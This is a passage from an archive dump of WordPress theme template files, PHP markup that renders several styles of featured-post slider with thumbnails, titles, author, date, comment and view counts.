                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                        </h3>
										<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                            <div class="feat-meta fade-in penci-fslider-fmeta">
												<?php if ( $show_meta_author ): ?>
                                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
												<?php endif; ?>
												<?php if ( ! $meta_date_hide ): ?>
                                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
												<?php endif; ?>
												<?php if ( ! $hide_meta_comment ): ?>
                                                    <span class="feat-comments"><a
                                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
												<?php endif; ?>
												<?php
												if ( $show_viewscount ) {
													echo '<span class="feat-countviews">';
													echo penci_get_post_views( get_the_ID() );
													echo ' ' . penci_get_setting( 'penci_trans_countviews' );
													echo '</span>';
												}
												?>
												<?php echo penci_show_custom_meta_fields( [
													'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
													'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
													'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
													'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
													'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
												] ); ?>
                                                <?php do_action( 'penci_extra_meta' ); ?>
												<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
                                                    <div class="featured-slider-excerpt">
														<?php
														if ( get_theme_mod( 'penci_excerptcharac' ) ) {
															the_excerpt();
														} else {
															$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
															penci_the_excerpt( $excerpt_length );
														}
														?>
                                                    </div>
												<?php endif; ?>
                                            </div>
										<?php endif; ?>
                                        
                                    </div>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
</div>PK     /w\P:  :  3  js_composer/shortcodes/featured_slider/style-13.phpnu [        <?php
/**
 * Template part for Slider Style 13
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 3 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?> <?php echo( 1 == $i % 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( $i % 3 == 1 || $show_cat ): ?>
									<?php if ( ! $hide_categories ): ?>
                                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
									<?php endif; ?>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\TSW  W  3  js_composer/shortcodes/featured_slider/style-35.phpnu [        <?php
/**
 * Template part for Slider Style 35
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-slider-full-thumb';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_mobile_size = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
    <div class="item swiper-slide swiper-mark-item">
	    <?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! $disable_lazyload ) { ?>
            <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size,$post_thumb_mobile_size ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
            <div class="penci-swiper-mask penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_mobile_size : $post_thumb_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } ?>
		<?php if ( ! $center_box ): ?>
            <div class="penci-featured-content-right">
                <div class="feat-text-right">
					<?php if ( ! $hide_categories ): ?>
                        <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
					<?php endif; ?>
                    <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                    </h3>
					<?php if ( $cspost_enable || ( get_the_excerpt() && ! $hide_meta_excerpt ) || ! $hide_meta_comment || ! $meta_date_hide ): ?>
                        <div class="featured-content-excerpt">
							<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                <div class="feat-meta">
									<?php if ( $show_meta_author ): ?>
                                        <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $meta_date_hide ): ?>
                                        <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( ! $hide_meta_comment ): ?>
                                        <span class="feat-comments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
	                                <?php echo penci_show_custom_meta_fields( [
		                                'validator' => $cspost_enable,
		                                'keys'      => $cspost_cpost_meta,
		                                'acf'       => $cspost_cpost_acf_meta,
		                                'label' 	=> $cspost_cpost_meta_label,
		                                'divider' 	=> $cspost_cpost_meta_divider,
	                                ] ); ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
							<?php if ( get_the_excerpt() && ! $hide_meta_excerpt ): ?>
								<?php 
								if( get_theme_mod( 'penci_excerptcharac' ) ){
									the_excerpt();
								} else {
									$excerpt_length = get_theme_mod( 'penci_post_excerpt_length', 30 );
									penci_the_excerpt( $excerpt_length );
								}
								?>
							<?php endif; ?>
                        </div>
					<?php endif; ?>
                    <div class="penci-featured-slider-button">
                        <a href="<?php the_permalink() ?>"><?php echo penci_get_setting( 'penci_trans_read_more' ); ?></a>
                    </div>
                </div>
            </div>
		<?php endif; ?>
        </div>
    </div>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\䡭    3  js_composer/shortcodes/featured_slider/style-17.phpnu [        <?php
/**
 * Template part for Slider Style 17
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 3 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$image_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
				<?php if ( $i % 5 == 1 ): ?>
                    <div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?> <?php echo( $i % 5 == 3 ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 3 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 3 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 2 || $i % 5 == 3 ): ?>
                    </div><div class="penci-slider17-mag-item penci-slide17-item-<?php echo( $i % 5 ); ?>">
				<?php endif; ?>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php if ( $i == $num_posts ): ?>
                    </div>
				<?php endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\M(    3  js_composer/shortcodes/featured_slider/style-26.phpnu [        <?php
/**
 * Template part for Slider Style 26
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb-square';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 5 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>  <?php echo( ( $i % 5 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || $show_cat ) && ! $hide_categories ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => $cspost_enable,
											'keys'      => $cspost_cpost_meta,
											'acf'       => $cspost_cpost_acf_meta,
											'label'     => $cspost_cpost_meta_label,
											'divider'   => $cspost_cpost_meta_divider,
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\    3  js_composer/shortcodes/featured_slider/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-thumb';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $thumb = $bpost_thumb_size;
					$psize                                = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?> <?php echo( ( $i % 6 == 1 || $i % 6 == 2 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( $cspost_enable || ! $hide_meta_comment || ! $meta_date_hide || $show_meta_author ): ?>
                                        <div class="feat-meta">
											<?php if ( $show_meta_author ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $meta_date_hide ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! $hide_meta_comment ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php echo penci_show_custom_meta_fields( [
												'validator' => $cspost_enable,
												'keys'      => $cspost_cpost_meta,
												'acf'       => $cspost_cpost_acf_meta,
												'label'     => $cspost_cpost_meta_label,
												'divider'   => $cspost_cpost_meta_divider,
											] ); ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\ԏlr  r  3  js_composer/shortcodes/featured_slider/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$post_thumb_size  = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb';
$bpost_thumb_size = ! empty( $bpost_thumb_size ) ? $bpost_thumb_size : 'penci-magazine-slider';
$penci_is_mobile  = penci_is_mobile();
?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $post_thumb_size;
				$psize = 'small';
				if ( $i % 4 == 1 ): $thumb = $bpost_thumb_size;
					$psize                 = 'normal'; endif;

				$thumb_mobile = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>  <?php echo( ( $i % 4 == 1 ) ? 'penci-pitem-big' : 'penci-pitem-small' ) ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $psize ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $thumb_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $thumb_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
